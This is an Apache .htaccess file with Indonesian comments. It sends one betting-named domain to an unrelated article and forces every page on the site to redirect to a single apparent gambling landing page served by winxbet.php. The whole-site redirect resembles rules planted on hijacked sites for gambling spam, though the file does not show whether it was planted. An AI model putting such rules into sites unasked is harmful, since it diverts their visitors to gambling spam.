RewriteEngine On
RewriteBase /

# ==================================================
# 0) REDIRECT DOMAIN vinxbet.com KE DOMAIN BARU
# ==================================================
RewriteCond %{HTTP_HOST} ^(www\.)?vinxbet\.com$ [NC]
RewriteRule ^(.*)$ https://dreampeaz.com/do-i-have-nightmares-when-i-sleep-on-my-right-side/ [R=301,L]

# ==================================================
# 1) REDIRECT SEMUA PAGE KE /winxbet-tombala
#    (KECUALI winxbet-tombala ITU SENDIRI)
# ==================================================
RewriteCond %{REQUEST_URI} !^/winxbet-tombala/?$ [NC]
RewriteRule ^(.*)$ /winxbet-tombala [R=301,L]

# ==================================================
# 2) INTERNAL REWRITE:
#    /winxbet-tombala → winxbet.php
# ==================================================
RewriteRule ^winxbet-tombala/?$ winxbet.php [L,QSA]

# ==================================================
# PHP HANDLER (CPANEL)
# ==================================================
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php81 .php .php8 .phtml
</IfModule>
